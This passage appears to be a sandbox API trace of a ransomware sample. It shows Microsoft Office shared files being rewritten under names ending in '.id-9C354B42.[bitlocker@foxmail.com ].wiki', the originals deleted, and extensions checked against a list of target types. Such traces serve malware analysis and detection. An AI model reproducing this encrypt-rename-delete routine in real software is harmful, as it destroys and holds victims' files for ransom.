"c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0193.530] GetLastError () returned 0x0 [0193.530] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x3d60, lpOverlapped=0x0) returned 1 [0193.532] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x3d70, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3d70, lpOverlapped=0x0) returned 1 [0193.533] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0193.533] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xee, lpOverlapped=0x0) returned 1 [0193.533] SetEndOfFile (hFile=0x1dc) returned 1 [0193.533] CloseHandle (hObject=0x1dc) returned 1 [0193.533] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.533] SetEndOfFile (hFile=0x1e0) returned 1 [0193.534] CloseHandle (hObject=0x1e0) returned 1 [0193.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0193.534] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 1 [0193.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.535] lstrlenW (lpString=".doc") returned 4 [0193.535] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0193.535] lstrlenW (lpString=".docx") returned 5 [0193.535] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0193.535] lstrlenW (lpString=".pdf") returned 4 [0193.535] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0193.535] lstrlenW (lpString=".xls") returned 4 [0193.535] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0193.535] lstrlenW (lpString=".xlsx") returned 5 [0193.535] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0193.535] lstrlenW (lpString=".ppt") returned 4 [0193.535] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0193.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.535] lstrlenW (lpString=".zip") returned 4 [0193.535] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0193.535] lstrlenW (lpString=".rar") returned 4 [0193.535] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0193.535] lstrlenW (lpString=".bz2") returned 4 [0193.535] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0193.535] lstrlenW (lpString=".7z") returned 3 [0193.535] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0193.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.535] lstrlenW (lpString=".dbf") returned 4 [0193.535] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0193.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.535] lstrlenW (lpString=".1cd") returned 4 [0193.536] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.536] lstrlenW (lpString=".jpg") returned 4 [0193.536] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.536] lstrlenW (lpString=".doc") returned 4 [0193.536] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0193.536] lstrlenW (lpString=".docx") returned 5 [0193.536] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0193.536] lstrlenW (lpString=".pdf") returned 4 [0193.536] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0193.536] lstrlenW (lpString=".xls") returned 4 [0193.536] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0193.536] lstrlenW (lpString=".xlsx") returned 5 [0193.536] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0193.536] lstrlenW (lpString=".ppt") returned 4 [0193.536] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.536] lstrlenW (lpString=".zip") returned 4 [0193.536] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0193.536] lstrlenW (lpString=".rar") returned 4 [0193.536] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0193.536] lstrlenW (lpString=".bz2") returned 4 [0193.536] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0193.536] lstrlenW (lpString=".7z") returned 3 [0193.536] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0193.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.545] lstrlenW (lpString=".dbf") returned 4 [0193.545] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0193.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.545] lstrlenW (lpString=".1cd") returned 4 [0193.545] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0193.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE") returned 93 [0193.545] lstrlenW (lpString=".jpg") returned 4 [0193.545] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0193.545] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0193.545] lstrlenW (lpString="OSPPSVC.EXE") returned 11 [0193.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.545] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4925184) returned 1 [0193.546] CloseHandle (hObject=0x1e0) returned 1 [0193.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe")) returned 0x20 [0193.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0193.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0193.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0193.554] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0x0) returned 1 [0193.554] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0193.554] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0193.559] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x190d00, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0193.559] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0193.562] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33cfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0193.562] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x472700, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc2c | out: lpNewFilePointer=0x0) returned 1 [0193.562] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33cfc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x33cfc38*=0x40000, lpOverlapped=0x0) returned 1 [0193.801] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0193.801] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x33cfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0194.248] SetEndOfFile (hFile=0x1e0) returned 1 [0194.249] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4261050 [0194.253] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0194.253] WriteFile (in: hFile=0x1e0, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0194.255] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x190d00, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0194.255] WriteFile (in: hFile=0x1e0, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0194.257] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x472700, lpNewFilePointer=0x0, dwMoveMethod=0x33cfc7c | out: lpNewFilePointer=0x0) returned 1 [0194.257] WriteFile (in: hFile=0x1e0, lpBuffer=0x4261050*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33cfc88, lpOverlapped=0x0 | out: lpBuffer=0x4261050*, lpNumberOfBytesWritten=0x33cfc88*=0x40000, lpOverlapped=0x0) returned 1 [0194.259] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4261050 | out: hHeap=0x5c0000) returned 1 [0194.259] CloseHandle (hObject=0x1e0) returned 1 [0194.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.259] lstrlenW (lpString=".doc") returned 4 [0194.259] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0194.260] lstrlenW (lpString=".docx") returned 5 [0194.260] lstrcmpiW (lpString1=".docx", lpString2="C.EXE") returned -1 [0194.260] lstrlenW (lpString=".pdf") returned 4 [0194.260] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0194.260] lstrlenW (lpString=".xls") returned 4 [0194.260] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0194.260] lstrlenW (lpString=".xlsx") returned 5 [0194.260] lstrcmpiW (lpString1=".xlsx", lpString2="C.EXE") returned -1 [0194.260] lstrlenW (lpString=".ppt") returned 4 [0194.260] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0194.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.260] lstrlenW (lpString=".zip") returned 4 [0194.260] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0194.260] lstrlenW (lpString=".rar") returned 4 [0194.260] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0194.260] lstrlenW (lpString=".bz2") returned 4 [0194.260] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0194.260] lstrlenW (lpString=".7z") returned 3 [0194.260] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0194.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.260] lstrlenW (lpString=".dbf") returned 4 [0194.260] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0194.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.260] lstrlenW (lpString=".1cd") returned 4 [0194.260] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0194.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.260] lstrlenW (lpString=".jpg") returned 4 [0194.260] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0194.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.260] lstrlenW (lpString=".doc") returned 4 [0194.260] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0194.261] lstrlenW (lpString=".docx") returned 5 [0194.261] lstrcmpiW (lpString1=".docx", lpString2="C.EXE") returned -1 [0194.261] lstrlenW (lpString=".pdf") returned 4 [0194.261] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0194.261] lstrlenW (lpString=".xls") returned 4 [0194.261] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0194.261] lstrlenW (lpString=".xlsx") returned 5 [0194.261] lstrcmpiW (lpString1=".xlsx", lpString2="C.EXE") returned -1 [0194.261] lstrlenW (lpString=".ppt") returned 4 [0194.261] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0194.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.261] lstrlenW (lpString=".zip") returned 4 [0194.261] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0194.261] lstrlenW (lpString=".rar") returned 4 [0194.261] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0194.261] lstrlenW (lpString=".bz2") returned 4 [0194.261] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0194.261] lstrlenW (lpString=".7z") returned 3 [0194.261] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0194.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.261] lstrlenW (lpString=".dbf") returned 4 [0194.261] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0194.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.261] lstrlenW (lpString=".1cd") returned 4 [0194.261] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0194.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE") returned 91 [0194.261] lstrlenW (lpString=".jpg") returned 4 [0194.261] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0194.261] lstrcmpiW (lpString1=".LEX", lpString2=".wiki") returned -1 [0194.261] lstrlenW (lpString="MSWDS_EN.LEX") returned 12 [0194.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0194.262] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=444027) returned 1 [0194.262] CloseHandle (hObject=0x1e0) returned 1 [0194.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 0x20 [0194.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0194.263] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.263] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0194.263] GetLastError () returned 0x0 [0194.263] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x6c67b, lpOverlapped=0x0) returned 1 [0194.274] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x6c680, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x6c680, lpOverlapped=0x0) returned 1 [0194.565] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0194.565] WriteFile (in: hFile=0x1dc, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0194.596] SetEndOfFile (hFile=0x1dc) returned 1 [0194.596] CloseHandle (hObject=0x1dc) returned 1 [0194.596] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0194.596] SetEndOfFile (hFile=0x1e0) returned 1 [0194.600] CloseHandle (hObject=0x1e0) returned 1 [0194.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.600] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 1 [0194.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.600] lstrlenW (lpString=".doc") returned 4 [0194.600] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0194.600] lstrlenW (lpString=".docx") returned 5 [0194.600] lstrcmpiW (lpString1=".docx", lpString2="N.LEX") returned -1 [0194.601] lstrlenW (lpString=".pdf") returned 4 [0194.601] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0194.601] lstrlenW (lpString=".xls") returned 4 [0194.601] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0194.601] lstrlenW (lpString=".xlsx") returned 5 [0194.601] lstrcmpiW (lpString1=".xlsx", lpString2="N.LEX") returned -1 [0194.601] lstrlenW (lpString=".ppt") returned 4 [0194.601] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0194.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.601] lstrlenW (lpString=".zip") returned 4 [0194.601] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0194.601] lstrlenW (lpString=".rar") returned 4 [0194.601] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0194.601] lstrlenW (lpString=".bz2") returned 4 [0194.601] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0194.601] lstrlenW (lpString=".7z") returned 3 [0194.601] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0194.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.601] lstrlenW (lpString=".dbf") returned 4 [0194.601] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0194.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.601] lstrlenW (lpString=".1cd") returned 4 [0194.601] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0194.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.601] lstrlenW (lpString=".jpg") returned 4 [0194.601] lstrcmpiW (lpString1=".jpg", lpString2=".LEX") returned -1 [0194.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.601] lstrlenW (lpString=".doc") returned 4 [0194.601] lstrcmpiW (lpString1=".doc", lpString2=".LEX") returned -1 [0194.601] lstrlenW (lpString=".docx") returned 5 [0194.602] lstrcmpiW (lpString1=".docx", lpString2="N.LEX") returned -1 [0194.602] lstrlenW (lpString=".pdf") returned 4 [0194.602] lstrcmpiW (lpString1=".pdf", lpString2=".LEX") returned 1 [0194.602] lstrlenW (lpString=".xls") returned 4 [0194.602] lstrcmpiW (lpString1=".xls", lpString2=".LEX") returned 1 [0194.602] lstrlenW (lpString=".xlsx") returned 5 [0194.602] lstrcmpiW (lpString1=".xlsx", lpString2="N.LEX") returned -1 [0194.602] lstrlenW (lpString=".ppt") returned 4 [0194.602] lstrcmpiW (lpString1=".ppt", lpString2=".LEX") returned 1 [0194.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.602] lstrlenW (lpString=".zip") returned 4 [0194.602] lstrcmpiW (lpString1=".zip", lpString2=".LEX") returned 1 [0194.602] lstrlenW (lpString=".rar") returned 4 [0194.602] lstrcmpiW (lpString1=".rar", lpString2=".LEX") returned 1 [0194.602] lstrlenW (lpString=".bz2") returned 4 [0194.602] lstrcmpiW (lpString1=".bz2", lpString2=".LEX") returned -1 [0194.602] lstrlenW (lpString=".7z") returned 3 [0194.602] lstrcmpiW (lpString1=".7z", lpString2="LEX") returned -1 [0194.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.602] lstrlenW (lpString=".dbf") returned 4 [0194.602] lstrcmpiW (lpString1=".dbf", lpString2=".LEX") returned -1 [0194.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.602] lstrlenW (lpString=".1cd") returned 4 [0194.602] lstrcmpiW (lpString1=".1cd", lpString2=".LEX") returned -1 [0194.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX") returned 65 [0194.602] lstrlenW 